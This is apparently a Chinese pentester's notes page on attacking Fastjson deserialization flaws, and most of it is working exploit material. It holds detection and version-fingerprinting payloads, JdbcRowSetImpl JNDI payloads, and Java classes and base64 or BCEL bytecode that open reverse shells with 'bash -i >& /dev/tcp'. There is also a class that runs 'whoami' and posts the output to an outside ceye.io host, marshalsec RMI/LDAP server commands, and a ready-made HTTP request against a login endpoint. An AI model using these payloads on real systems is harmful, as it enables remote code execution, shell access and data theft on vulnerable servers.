参考:https://github.com/alibaba/fastjson/issues/3077
{"@type":"java.net.InetAddress","val":"x166os.dnslog.cn"}
java.net.InetAddress这个gadget在1.2.49禁止了。如果上面这个poc可以出dnslog说明很大概率可以rce。
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
如果以上这些poc可以出dnslog,则可以说明后端百分百是fastjson。
最近发现有个容易被人弄错的地方,就是fastjson的payload。网上的Payload,发现有的目标可以成功,有的目标不能成功,这是为什么?
比如这个Payload:
{"@type":"java.net.Inet4Address","val":"dnslog"}
这个同学发现vulhub环境中,用反弹shell的payload来打可以成功,但换这个检测用的payload就不行。
其实原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象(其实就可以理解为JSON中不加@type的普通对象)。
这时候你传入的是{"@type":"java.net.Inet4Address","val":"xxxxx"}
,相当于给到他的是java.net.Inet4Address对象,所以会爆出一个type not match的异常。
所以建议测试fastjson漏洞,最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值,比如:
{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}
这样写通常就不会有type not match的错误了。
参考:fastjson 获取精确版本号的方法 - 浅蓝 's blog
{"xxx":"aaa"
检测不到花括号和逗号时,即可触发报错,从而判断出后端是fastjson还是jackson,某种情况下可以直接爆出版本号。
{"@type":"java.net.Inet4Address","val":"dnslog"}
若有dnslog则可以判断入口点为fastjson,接下来开始版本判断。
{"@type":"java.net.InetAddress","val":"dnslog"}
如果有dnslog说明版本在49以下,因为这个gadget在49被禁止了。
{
"xxx": "\x
如果存在dos漏洞说明版本在60以下。没有则60以上。 参考:https://blog.riskivy.com/%E6%97%A0%E6%8D%9F%E6%A3%80%E6%B5%8Bfastjson-dos%E6%BC%8F%E6%B4%9E%E4%BB%A5%E5%8F%8A%E7%9B%B2%E5%8C%BA%E5%88%86fastjson%E4%B8%8Ejackson%E7%BB%84%E4%BB%B6/
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
如果有dnslog说明在68以及以下。
69以上
{"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","name":"/etc/passwd","append":true}
首先看看是否存在漏洞
Content-Type: application/json
1.成功
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:1099","autoCommit":true}
2.成功
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099","autoCommit":true}
3.未成功
{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","JndiName":"ldap://ip:1389/Object", "loginTimeout":0}
首先编译 poc 得到字节码
javac Poc.class
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet {
public Poc() throws IOException {
try {
Runtime rt = Runtime.getRuntime();
String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}
然后把 .class 文件做 base64 加密 python solve_payload.py
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
修改 json 的 _bytecodes 为 刚刚生成的 base64 文本 :
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANQoADAAeCgAfACAHACEIACIIACMIACQKAB8AJQoAJgAnBwAoBwApCgAKAB4HACoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAKQcAKAEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAsAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAA0ADgcALQwALgAvAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQAuYmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTk5OTkgMD4mMQwAMAAxBwAyDAAzADQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQAhAAoADAAAAAAABAABAA0ADgACAA8AAAB+AAQABAAAACwqtwABuAACTAa9AANZAxIEU1kEEgVTWQUSBlNNKyy2AAdOLbYACFenAARMsQABAAQAJwAqAAkAAgAQAAAAIgAIAAAACwAEAA4ACAAPABwAEAAiABEAJwAUACoAEgArABwAEQAAABAAAv8AKgABBwASAAEHABMAABQAAAAEAAEAFQABABYAFwABAA8AAAAZAAAABAAAAAGxAAAAAQAQAAAABgABAAAAIAABABYAGAACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAJQAUAAAABAABABkACQAaABsAAgAPAAAAJQACAAIAAAAJuwAKWbcAC0yxAAAAAQAQAAAACgACAAAAKAAIACkAFAAAAAQAAQAJAAEAHAAAAAIAHQ=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
nc -lvp 19999
发包即可弹shell
不过有限制:
Feature.SupportNonPublicField
,否则不支持传入私有属性TemplatesImpl
类为什么不jndi去打呢,因为java 8u121( Java™ SE Development Kit 8, Update 121 Release Not... )进行了更新,增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,只有设置了这个选项为True的时候才能正常使用URL进行class的加载。
https://www.anquanke.com/post/id/182140
适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前
利用方式:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer http://127.0.0.1:8080/test/#Expolit
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前
利用方式:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Expolit
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后
利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。
利用方式:
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Exploit",
"autoCommit":true
}
}
目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。
首先编译并上传命令执行代码,如http://ip/ExportObject.class:
// javac ExportObject.java
import java.lang.Runtime;
import java.lang.Process;
public class ExportObject {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类ExportObject.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#ExportObject" 9997
向靶场服务器发送Payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Exploit",
"autoCommit":true
}
}
nc -lvp 19999
成功弹shell,java版本要一样或者更低才能成功,因为java兼容低版本class,而不是往上兼容,所以通常用jdk6来编译class。
注意一些java版本要一样,在web服务器日志请求头可以看到java版本,然后用该版本编译class,再远程加载执行。
exp
//evil2.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.Reader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
public class evil2 {
public static void post(String uri, String data) {
HttpURLConnection httpURLConnection = null;
BufferedReader bufferedReader = null;
try {
URL url = new URL(uri);
httpURLConnection = (HttpURLConnection)url.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoOutput(true);
OutputStreamWriter out = new OutputStreamWriter(httpURLConnection.getOutputStream());
out.write(data);
out.close();
httpURLConnection.connect();
InputStream inputStream = httpURLConnection.getInputStream();
bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line = null;
StringBuffer stringBuffer = new StringBuffer();
while ((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line + "\n");
}
}
catch (Exception e) {
e.printStackTrace();
}
finally {
if (httpURLConnection != null) {
httpURLConnection.disconnect();
}
try {
if (bufferedReader != null) {
bufferedReader.close();
}
}
catch (IOException e) {}
}
}
public static String exec(String cmd) {
StringBuffer res = new StringBuffer();
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = "";
while ((line = br.readLine()) != null) {
res.append(line);
}
}
catch (Exception e) {
e.printStackTrace();
}
return res.toString();
}
static {
String cmd = evil2.exec("whoami");
evil2.post("http://ldap.ceu5ns.ceye.io/", cmd);
// cmd = evil2.exec("ifconfig");
// evil2.post("http://ldap.91030df7.n0p.co/", cmd);
// cmd = evil2.exec("cat /etc/hosts");
// evil2.post("http://ldap.91030df7.n0p.co/", cmd);
}
}
启动ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil2 1099
post
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:1099/Exploit",
"autoCommit":true
}
}
成功执行。
//evil.java
import java.lang.Runtime;
import java.lang.Process;
public class evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
启动ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil 1098
bp发包
POST /public/LOGIN/loginIn HTTP/1.1
Host: xxx
Content-Length: 266
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac; SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac
Connection: close
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:1098/Exploit",
"autoCommit":true
}
}
成功弹shell。
参考:https://github.com/bit4woo/code2sec.com/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5%E4%B8%83%EF%BC%9Afastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96PoC%E6%B1%87%E6%80%BB.md
这个在上面提到过了,是有限制的,实战中一般gg。
Fastjson BasicDataSource攻击链简介
BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。
参考 defineClass在java反序列化当中的利用 - 先知社区,发现 ClassLoader 还是挺好使。文章中给的 payload 依赖是 tomcat-dbcp,对应的构造类是 org.apache.tomcat.dbcp.dbcp.BasicDataSource 。我碰到的这个漏洞环境没有 tomcat-dbcp,只有 commons-dbcp,不过我发现也能用,利用方式和 Payload 构造方法基本一样,只是要把对应的构造类换成 org.apache.commons.dbcp.BasicDataSource 。
{
{
@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H$f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U$c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3$p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O$x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca$gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A"
}
}:"ddd"
}
{
"@type": "org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H$f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U$c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3$p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O$x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca$gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A"
}
参考:
https://b1ue.cn/archives/382.html具体的gadget需要自行寻找。暂不公开。
好用的目前就两条链,一个是mysqljdbc,需要mysqlconnect依赖在5.x。另外一个是common-io写文件,需要知道绝对路径。这两条链目前都已经公开。